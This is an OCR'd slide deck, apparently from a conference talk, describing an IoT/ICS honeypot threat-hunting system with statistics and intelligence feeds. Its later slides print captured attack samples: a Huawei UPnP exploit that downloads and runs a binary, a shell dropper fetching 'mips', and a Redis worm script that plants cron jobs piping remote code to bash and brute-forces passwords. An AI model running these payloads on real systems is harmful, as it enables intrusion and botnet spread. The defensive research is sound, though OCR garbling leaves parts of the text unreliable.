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Who are we?
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Mars Cheng
Threat Researcher at TXOne Networks

Spoke at Black Hat, HITB, HITCON, SecTor, ICS

Cyber Security Conference, InfoSec Taiwan and etc.

Instructor of Ministry of National Defense, Ministry
of Education, Ministry of Economic Affairs and etc.
General Coordinator of HITCON 2021

Vice General Coordinator of HITCON 2020 '

Patrick Kuo

Threat Researcher at TXOne Networks

Developer for building automatically threat
analyzing process.

Developer for designing threat hunting engine and
threat hunting system.

Researcher for malicious payloads, malwares and
threats.
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Outline

« The Anatomy of Our Threat Hunting System
* In-Depth Analysis of Our loT-ICS Intelligence

 The Next Step for Our Next Generation lloT Threat-Hunting
System
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Why Perform Automated Threat Hunting?
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https://thehackernews.com/2020/04/darknexus-iot-ddos-botnet.html

The Benefits of Automated Threat Hunting

 Automatic detection and real-time blocking of various threats
* |[nstantly locate various threat trends

* Follow-up analysis of a large number of intelligence resources
by threat analysts

 The cost of human maintenance is extremely low
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The Anatomy of Our
Threat Hunting System
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The Architecture of Our IoT-ICS Threat Hunting System
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350* Hunting Engines in the World
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1. Hunting Engines

Hunting Engines (IoT & OT)

loT hunting engine
(Telnet..., part of high
interaction)

Attack Traffic

Y | High interaction OT | |
Handler |~ | hunting engine (S7...) :
: | | Hunting

1st stage, hunting all interaction with hunting engine

Python based and compatible with Python 2.x/3.x
Shell and C compiler
Ubuntu 18.04 or CentOS 7
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2. The Huntlng Agent
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3. Malware Crawler and Session Crawler

‘ bS E1f .
b output list size: 23118
parsing completed
Log "/home/ ;/honeypot/MTPot_Log/d=2020-87-12/h=04/ Pot.log" parsing begins: t_init = 2820-87-12 04:28:29.191843
Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ Pot.log" parsing finished: t_end = 2020-87-12 04:28:37.123337, t_diff = 0:00:07.931494
Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ MTPot.log" parsing begins: t_init = 2020-07-12 04:28:37.123398
o X D) Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ MTPot.log" parsing finished: t_end 140. 0:00:03.330876
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing begins: t_init
Malware AWS ECS Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing finished: t_end 9:00:02.984623
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing begins: t_ini
Malware Crawler Log "/home/ i/honeypot/MTPot_Log/d=2028-87-12/ MTPot.log" parsing finished: t_ 149. t_diff :00:05. 646486
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing begins: ini
Log "/home/ ;/honeypot/MTPot_Log/d=2028-87-12/ MTPot.log" parsing finished: t_end = 2020-87-12 04:28:54.062086, t_diff :00:04.976576
Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ MTPot.log" parsing begins: t_init 2020-87-12 04:28:55.686921
Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ MTPot.log" parsing finished: t_end : t_diff :00:07.124548
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing begins: t_i
Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ MTPot.log" parsing finished: t_ - t_diff :00:03.0855240
Log "/home/ i/honeypot/MTPot_Log/d=20208-07-12/ MTPot.log" parsing begins: t_ini
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing finished: t_ t_diff :100:02.645651
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing begins: t_init 2020-07-12 04 -
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing finished: t_end = 2028-07-12 @ " t_diff :00:04.986553
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing begins: t_init -
Log "/home/ ;/honeypot/MTPot_Log/d=2028-87-12/ MTPot.log" parsing finished: t_end o t_diff :100:04.066243
Log "/home/ ;/honeypot/MTPot_Log/d=2028-07-12/ MTPot.log" parsing begins: t_init
Log "/home/ ;/honeypot/MTPot_Log/d=2828-87-12/ MTPot.log" parsing finishe t_end = t_diff :100:06.324966
Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ MTPot.log" parsing begins: t_init = 202
AWS ECS Log "/home/ ;/honeypot/MTPot_Log/d=2828-87-12/ MTPot.log" pars:}ng fin::Lshe - g_gnd - t_diff :100:02.576787
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing begins: t_init 127.268087

3
L
®A

. Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing finished: t_end 29:35.418055, t_diff :00:08.149968
SeSSIOn CraWIer Log "/home/ ;/honeypot/MTPot_Log/d=2028-07-12/ MTPot.log" parsing begins: t_init :35.418097
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing finished: t_end = 2028-87-12 04:29:42.520696, t_diff = 0:00:07.102599
Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ _MTPot.log" parsing begins: t_init 2020-07-12 04:29:42.520738
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ _MTPot.log" parsing finished: t_end = 2020-07-12 04:29:48.011541, t_diff = 0:00:05.490803
Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ MTPot.log" parsing begins: t_init = 2020-07-12 04 149.027624
Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ MTPot.log" parsing finished: t_end = 2028-87-12 04:29:52.843116, t_diff = 0:00:03.815492
Log "/home/ i/honeypot/MTPot_Log/d=2820-07-12/ _MTPot.log" parsing begins: t_init 2020-07-12 04:29:52.843158
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ _MTPot.log" parsing finished: t_end 2020-87-12 04:29:57.785069, t_diff = 0:00:04.941911
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing begins: t_init 2020-07-12 04 7.785112
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing finished: t_end = 2028-07-12 04:30:00.582469, t_diff = 0:00:082.797357
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ _MTPot.log" parsing begins: t_init 2020-07-12 04:30:00.582511
Log "/home/ i/honeypot/MTPot_Log/d=2020-07-12/ MTPot.log" parsing finished: t_end 2020-87-12 04:30:03.755107, t_diff = 0:00:03.172596
Malware and PCAP Log _"(home/ e ;/honcypot/MTPojz Log/d 2920507—A12/h=61~/ i Pot lpg" parsing begins: t_init = 3.755150
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4. Generate |oC to Block List

utc_ts v ip~ port ~ rule ~

2020-10-21 20:53:52.000 103.54.1 22 [hpot_g001:2:honeypot 1
2020-10-21 21:56:36.000 103.70.1 445 [dpi_g001:2:dpi-ips-rule 8]
2020-10-21 21:35:21.000 112.226 80 [dpi_g001:2:dpi-ips-rule 4]
2020-10-21 21:12:42.000 112,255 8081 [dpi_g001:2:dpi-ips-rule 3]
2020-10-21 21:15:41.000 1227 80 [dpi_g001:2:dpi-ips-rule 4]
2020-10-21 21:09:00.000 113.167 445 [dpi_g001:2:dpi-ips-rule 8]
2020-10-21 20:58:23.000 113.246 2323 [hpot_g001:2:honeypot 1
2020-10-21 21:00:36.000 115.63.¢ 80 [dpi_g001:2:dpi-ips-rule 3]
2020-10-21 21:47:10.000 17.202 80 [dpi_g001:2:dpi-ips-rule 3]
2020-10-21 21:46:31.000 121.146 23 [dpi_g001:2:dpi-ips-rule 3]

‘»
Global Threat Atlas wets - . port =l -

2020-03-28 07:05:03.935 185.16 5555 http://185.1 224/bwget hs00002:Telnet busybox command - 1,hs00003:Telnet busybox command - 2,hs00033:Android ADB attack
2020-01-07 05:55:11.707 91.92.( 5555 http://91.92 'beurl.sh hs00002:Telnet busybox command - 1,hs00033:Android ADB attack

2020-10-03 02:42:33.615 93.103 5555 http://5.252 'bwget hs00002:Telnet busybox command - 1,hs00033:Android ADB attack

2020-08-26 17:46:57.336  185.39 5555 http://5.252 'curl hs00002:Telnet busybox command - 1,hs00003:Telnet busybox command - 2,hs00033:Android ADB attack
2020-08-26 17:51:02.545 185.39 5555 http://185.1 34/E5DBOE07C3D7BE80V520/init.sh hs00002:Telnet busybox command - 1,hs00033:Android ADB attack

2020-03-28 07:42:40.169 92.28 60001 http://185.6 3/jaws.sh hs00029:HTTP wget chmod

2020-05-13 06:23:53.629 185.16 5555 http://185.1 235/bwget hs00002:Telnet busybox command - 1,hs00003:Telnet busybox command - 2,hs00033:Android ADB attack
2020-01-07 05:44:32.200 91.92.( 5555 http://91.92 'beurl.sh hs00002:Telnet busybox command - 1,hs00033:Android ADB attack

2020-01-07 05:37:06.697 91.92.( 5555 http://91.92 ‘curl.sh hs00002:Telnet busybox command - 1,hs00003:Telnet busybox command - 2,hs00033:Android ADB attack
2020-08-26 17:30:04.037 185.39 5555 http://5.252 ‘wget hs00002:Telnet busybox command - 1,hs00003:Telnet busybox command - 2,hs00033:Android ADB attack

IP&Doniain ; Protection Service
Mapping Block List
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5. Malware Analyzer

Initial Analyzer Internal
g Scan Engine

Protection Service
A

@ A O
Known Malware

g tExOne
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281091900%00258a67ccadas994bbe
@29cachb57daf544accys85a1c931E
82c75127ec18e75cB80bSc3cd9397ac
835687e402189be028005e089¢036L
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438750d0d3c 92929661 eb4aaBa4T(
4B5T4122Zb1650088595c563977430¢
4n82d6aBl1E94193ad25ah3n4atcl:
4029fech217f5a74d53bc%42c5ccl
4d724B874379e540d23644415d644E

[rootPcentos-pool 2828-11-11]# 1

mal_name ¥
b3astmode.mips
Formula.x86
bot.pl

3306

8000

8000

xmi
vcimanagement.mips
JKira.mips

mips
vcimanagement.mips
Astra.mips
work.sh

mips

mips

lan

23

Hilix.mips

3307

mips

mips
b3astmode.mips
b3astmode.mips
bot.pl

8080

shasum ~

484d02adc751b34b4f06279e101cb1
348621548d396a10eb0535b1ddc6e:
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c1e198ac3c34251b5¢33¢9611a171¢
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271420049365b0063fc0fc69b372c1¢
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29758396d04a16e12b52f470a2d998
9de0c26dd0fc85eff3e0c4b237c1f9b2
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2c61ade6323527b000cc27babbba2
1ba8719779106fdd92e8bd7d6cb7e6
2339abcb78c46bf6ccdfce533b163d7
1e87a5dba16588bf91144de1b34a52

31bc5e5909423303657 1afcaf
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13425¢3a46f120e8eda7e0ef9
'b0a013ec991f8bffb48bc91d2
:c56e619ac7ac44bal15ef54882
1a3b9f30220dea0039bcd3d0d
757fa5foeed5171651c24974
8b14a340f1a72942329fd0f9
1227c9e9fa0cdd9a5d0372c18
1b9d2c9318543c08ab2ac70a7
4d44dd8c3c406f9005064fe
10ea28d2f7f740fd93ae0f109
308812559d3a8980748fe6446
6f1762231ea70b33a845f22e5
5dde3531706b1fb301f143
88bcab3f79dd95d3087253d72

di_url »
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3
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6. Threat Intelligence based on Athena

 Here, the threat analyst manually hunts down the in-depth

threat

AWS Athena

[ICS-CERT] OSlisoft Pl Interface for OPC XML-DA 2020-11-10

[ICS-CERT] Siemens SIMATIC $7-300 and $7-400 CPUs (Update B) 2020-11-10

[Security Week] Microsoft Patches Windows Vulnerability Chained in Attacks With Chrome Bug 2020-11-10
[Security Week] PLATYPUS: Hackers Can Obtain Crypto Keys by Monitoring CPU Power Consumption 2020-11-10
[Security Week] Flaws in PcVue SCADA Product Can Facilitate Attacks on Industrial Organizations 2020-11-10
[DARKReading] Malware Hidden in Encrypted Traffic Surges Amid Pandemic 2020-11-10

[DARKReading] Claroty Details Vulnerabilities in Schneider PLCs 2020-11-10

[DARKReading] How Hackers Blend Attack Methods to Bypass MFA 2020-11-10

[Threat post] Microsoft Teams Users Under Attack in ‘FakeUpdates’ Malware Campaign 2020-11-10

(Thome] {— S MM RMRMIE - ZATTFUER > WRHBLREEARELMERS 2020-11-09
[ICS-CERT] OSlsoft Pl Vision 2020-11-10

[ICS-CERT] Schneider Electric PLC Simulator for EcoStruxure Control Expert 2020-11-10

[ICS-CERT] SIMATIC S7-300 CPUs and SINUMERIK Controller 2020-11-10

[ICS-CERT) Siemens SCALANCE W 1750D 2020-11-10

[ICS-CERT] Siemens UMC Stack (Update C) 2020-11-10

© 2021 TXOne Networks Inc.

Threat Intelligence

In-depth Analysis

[KitPloit - PenTest Tools!] ReconNote - Web Application Security Automation Framework Which Recons The Target For Various Assets To Maximize The
Attack Surface For Security Professionals & Bug-Hunters 2020-11-09

[2D1 (Published)] ZDI-20-1363: Cisco WebEx Network Recording Player ARF File Parsing Stack-based Buffer Overflow Remote Code Execution

Vulnerability 2020-11-10

[2D1 (Published)] ZDI-20-1362: Cisco WebEx Network Recording Player ARF File Parsing Uninitialized Pointer Remote Code Execution Vulnerability

2020-11-10

[2DI (Published)] ZDI-20-1361: Cisco WebEx Network Recording Player ARF File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability

2020-11-10

[2DI (Published)] ZDI-20-1360:
[2DI (Published)] ZDI-20-1359:
[2DI (Published)] ZDI-20-1358:
[2DI (Published)] ZDI-20-1357:
[ZDI (Published)] ZDI-20-1356:
[2DI (Published)] ZDI-20-1355:
[ZDI (Published)] ZDI-20-1354:

WECON PLC Editor WCP File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10
WECON PLC Editor WCP File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10
WECON PLC Editor WCP File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10
Adobe Acrobat Reader DC AVDocumentlLocal Use-After-Free Information Disclosure Vulnerability 2020-11-10
Adobe Acrobat Pro DC PDF Export Out-Of-Bounds Read Information Disclosure Vulnerability 2020-11-10

Adobe Acrobat Pro DC PDF Export Out-Of-Bounds Write Remote Code Execution Vulnerability 2020-11-10

Adobe Acrobat Reader DC ID Parameter Out-Of-Bounds Read Information Disclosure Vulnerability 2020-11-10
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7. One-Click Deployment/Re-Deployment

 This is a function set up to strengthen our automated process.

 This demo video is a time-lapse video. The complete
deployment process takes about 1-2 hours.
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One-Click Deployment of
Automated Threat Hunting System

TXOne Networks Inc.

txOne



Highlights of the 1oT-ICS Hunting System

& I 4

Hunting Engine In-Depth Analysis Payload Classification
Dynamic Adjustment One-Click (Re-)Deployment Construction Cost Decreasing

3 txOne
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loC Hunting as A Service

r -

Detected 1.2 Billion
Attacks

Hunted 70*
Million
Malicious IPs

Hunted 15*
Million
Suspicious
Domains
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loC Hunting as A Service

Found 1.4*"M \

Possible Botnet
Devices

Blocked 37* M \

Malicious IPs

Found 2.6™ M

Blocked 2.1* M\

Malicious
Domains

o

Malwares
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Global Botnet Analysis and Alert

11,000
8,250

3]
0%2011.ttee.sh;%20chmod%20777%20*;%20sh%2011.ttee.sh;%20sh%2012.ttee.sh Hxxp/1.0\r\n\r\n

POST /ctrit/DeviceUpgrade_1 Hxxp/1.1\r\nHost: 68.183.xxx.xxx:37215\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.24.0\r\nContent-Length: 473\r\n\r\n<?xml

version="1.0" ?>\n <s:Envelope xmlns:s="hxxp://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="hxxp://schemas.xmlsoap.org/soap/encoding/">\n <s:Body><u:Upgrade xmins:u="urn:schemas-upnp-
org:service:WANPPPConnection:1">\n <NewStatusURL>S(/bin/busybox wget -g 185.172.xxx.xxx -I /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL>\n<NewDownloadURL>$(echo

HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>

© 2021 TXOne Networks Inc.
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Unknown Malware Playground

9,000
e
VirusTotal Unknown Malware Count
6,750
I I
I |
| |
4,500 | |
| |
l |
| |
| |
2,250
1 1
| |
|
|
0
of”\\ &\6 &\\\ 9\\690;\ @,,9\\6\\\0\6 & Q\,g\\\‘b\\\\% \\(b \\\‘b\({p K \\ng\@ q) q> & \.\\ .\(\ \\\ \\\\ \& \N\Q'Q\"l«\\ ,"o @,ﬂ,\ Q\'b\ \,b\% \‘b\»:b \rb\\‘b @q, \fb\rbg\b‘\b\u\\g\u\\ \v\q, \b‘\q, \Q’b \‘1\(0\\ \@\\ \b\m \{o\fa, @\'5 &\u b\% é 6\.9 {,}x &\b‘ (\\fb o \»\@(\@b‘ \Q)% o @‘9\% q, @‘b N (ﬂr Q,
,19"6‘\'9\‘3'9@\‘39\\9\\\\\ca\\q.\\é\ ES N °° S O s o“'e"' '19@96
@@f&@@@,&"@"@"@"m °,,9,,9q§‘q9"w°wq,q9 q, VS q?f» ° ‘19‘]]'19° q?f» o

3 txOne

© 2021 TXOne Networks Inc. networks



Unknown Malware Playground
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Unknown Malware Playground

18,000" Unknown Malware

Architecture
i386

ARM

MIPS
PowerPC
SH4

Others

Ratio
65.01%
9.95%
7.87%
2.53%
2.49%

12.15%
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Unknown Malware Pla

#!/bin/bash
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin

apt install redis-tools -y >/dev/null

yum install redis-tools -y >/dev/null

echo 'config set dbfilename "backup.db"' > /tmp/.dat

echo 'save' >> /tmp/.dat

echo 'flushall' >> /tmp/.dat

echo 'set backupl "\n\n\n*/2 * wget -q -0 - http://Surl/xms | bash -sh\n\n"' >> /tmp/.dat
echo 'set backup2 "\n\n\n*/3 * curl -f£sSL http://Surl/xms | bash -sh\n\n"' >> /tmp/.dat
echo 'set backup3 "\n\n\n*/4 * lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n\n"' >> /tmp/.dat
echo 'set backup4 "\n\n\n*/5 * echo $base | base64 -d | bash -\n\n"' >> /tmp/.dat

echo 'config set dir "/var/spool/cron/"' >> /tmp/.dat

echo 'config set dbfilename "root"' >> /tmp/.dat

echo 'save' >> /tmp/.dat

echo 'config set dir "/var/spool/cron/crontabs"' >> /tmp/.dat

echo 'save' >> /tmp/.dat

sleep 1

rm -rf /tmp/redis vuln.txt

nohup /tmp/masscan 10.0.0. " " 0 | awk '{print $6}' > /tmp/redis vuln.txt

while read line; do

redis-cli -h $line &>/dev/null &

redis-cli -h $line redis &>/dev/null &
redis-cli -h $line root &>/dev/null &
redis-cli -h $line oracle &>/dev/null &
redis-cli -h $line password &>/dev/null &
redis-cli -h $line plaawlrd &>/dev/null &
redis-cli -h $line gwerty &>/dev/null &
redis-cli -h $line gqwertyl23 &>/dev/null &
redis-cli -h $line abcl23 &>/dev/null &
redis-cli -h $line abcl23! &>/dev/null &
cat /tmp/.dat timeout redis-cli -h $line 123456 &>/dev/null &
cat /tmp/.dat timeout redis-cli -h $line admin &>/dev/null &
cat /tmp/.dat timeout 3 redis-cli -h $line nysgl &>/dev/null &

done < /tmp/redis wvuln.txt
range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v ineté |grep -v 255 | head -nl)

cat /tmp/redis wvuln.txt
cat /tmp/.dat timeout
cat /tmp/.dat
cat /tmp/.dat
cat /tmp/.dat
cat /tmp/.dat timeout
cat /tmp/.dat timeout

1

| timeout

|

|

|

|
cat /tmp/.dat | timeout

|

|

|

|

|

|

timeout
timeout

cat /tmp/.dat timeout
cat /tmp/.dat timeout
cat /tmp/.dat timeout

W W wwwwwwwww w =
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1-Day/Unknown Vulnerability Hunting

WEB Remote File Inclusion /etc/passwd
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1-Day/Unknown Vulnerability Hunting

RDP Microsoft Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-0708)
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1-Day/Unknown Vu

Inerability Hunting

[TRS-stg] Top payload list/d=2020-10-03/h=16-23

All of TXOne Threat Research Team
To:

AO

Top Payload List
d=2020-10-03, h=16-23

ams

I T S
Cerce

IIIIIIII=IIIIIIIIiiiiIIIIIIIIIIIIIIIIIIIII

e null

Sunday, October 4

GET / HTTP/1.1\r\nHost: 134.122 12156\r\n\r\n

GET /manager/html HTTP/1.1\nHost: \nConnection: close\nUser_ Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebK
it/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\n\n\n

GET / HTTP/1.1\r\nHost: 134.122 18500\r\nConnection: close\r\nAccept-Encoding: gzip\r\nUser-Agent: Mozilla
/5.0 (Macintosh; Intel Mac OS X 10_11 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.
36\r\n\r\n

HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 14\r\nExpires: Sat, 03 Oct 2020 22:03:10 GMT\r\nCa
che-Control: max-age=0, no-cache. no-store\r\nPragma: no-cache\r\nDate: Sat, 03 Oct 2020 22:03:10 GMT\r\nConnect
ion: keep-alive\r\n\r\nl134.122.

HTTP/1.1 200 OK\r\nDate: Sat, 03 Oct 2020 15:21:12 GMT\r\nServer: Apache/2.4.6 (CentOS) PHP/5.4.16\r\nLast-Modif
ied: Fri, 02 Oct 2020 14:53:50 GMT\r\nETag: ""5£8-5b0bl4cféb884""\r\nAccept-Ranges: bytes\r\nContent-Length: 152
8\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: aoolication/x-sh\r\n\r\n#!/bin/ba
sh\ncd /tmp || ed /var/run || cd /mnt || cd /root || cd /; wget h**p://212.73 /mips; chmod +x mips; ./mip
8; rm -rf mips\ncd /tmp || cd /var/run || cd /mnt || cd /rxoot || cd /; wget h**p://212.7

HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Length: l4\r\nContent-Type: text/plain; charset=utf-8\r\nDate: S
at, 03 Oct 2020 23:01:01 GMT\r\n\r\nl134.122

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthoriz
ation: Digest username=""dslf-config"", realm=""HuaweiHomeGateway"", nonce=""88645cefblf9edele336e3569d75ee30"",
uri=""/ctrlt/DeviceUpgrade_1"", response=""3612£843a42db38£48£59d2a3597e19¢c"", algorithm=""MD5"", qop=""auth"",
nc=00000001, cnonce=""248d1a2560100669""\r\n\r\n<?xml version=""1.0"" ?><s:Envelope xmlns:s=""h**p://schemas.xm
lsoap.org/soap/envelope/"" s:encodingStyle=""h*#*p://schemas. /soap

\x00\x00\x00T\x££SMBr\x00\x00\x00\x00\x18\x01 (\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/K\x00\x00
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\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x££\ x££\ x££\ x££\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x007\x00\x00\x003\x00\x02\x00#\x00\x00\x00\x07\x00\\PIPE\\\x00

tExOne

networks



Attack Trend Analysis as an Early Warning
System
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Attack Trend Analysis as an Early Warning
System
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Attack Trend Analysis as an Early Warning
System
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The Threat of Next Generation
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The Threat of Next Generation
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M | modbus

No. | Time | Source | Protocol | Length | Info
Modbus/TCP 77
Modbus/TCP 77
Modbus/TCP 77
Modbus/TCP 77
Modbus/TCP 77

Modbus/TCP 77

| Destination

. 1299.92.. 41.° 139,59,
. 1355.98.. .41.° 139.59,
. 1405.00.. .41, 139.59.
IIIII!HQIEE!
. 2177.82.. 81.41.. 139.59.
. 2218.39.. 81.41.: 139.59.

Query: Trans:
Query: Trans:
Query: Trans:
Query: Trans:
Query: Trans:
Query: Trans:

Frame 21634: 77 bytes on wire (616 bits), 77 bytes captured (616 bits)
Ethernet II, Src:
Internet Protocol
Transmission Control Protocol, Src Port: 61048, Dst Port: 502, Seq: 1, Ack: 1, Len: 11
Modbus/TCP
Transaction Identifier: 23111
Protocol Identifier: @
Length: 5
Unit Identifier: @
Modbus
.010 1011 = Function Code: Encapsulated Interface Transport (43)
MEI type: Read Device Identification (14)
Read Device ID: Basic Device Identification (1)
Object ID: VendorName (0)

90 03 b9 c8 00 00 91 01 08 0a 01 87 d7 59 5a e2
® E  Modbus: Protocol
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The Next Steps for Our Next Generation lloT
Threat-Hunting System

 Bring the complete industry 4.0 environment into our hunting

system either after it's fully virtualized or via paravirtualization

SCADA
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High Interaction Hunting Engine
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The Next Step of Next Generation lloT Threat-
Hunting System

 The next generation of our hunting engine will coexist with the existing
loT hunting engine, fully covering the scope of lloT

 For attack traffic and malicious programs, we will conduct an in-depth
study of the various applications of machine learning on traffic analysis
and malware analysis, further advancing the degree of automated analysis
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Closing Remarks

 An automated threat hunting system is an excellent tool for
effectively hunting and suppressing the continuous expansion
of loT and lloT threats

« These 6 examples of trends from our hunt are only a small part
of the resources available in the hunting system - there is still
more treasure waiting for us to discover

 The next generation of threats, lloT threats, is coming, and
early preparation is the way to deal with it
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Closing Remarks

Analyzed more
than
45TB of traffic

Detected 1.1
billion attacks

Analyzed more than 1
million malicious files

Searched more than
30 million malicious
domains

https://www.tr.txone-networks.com

Searched over 400
million malicious
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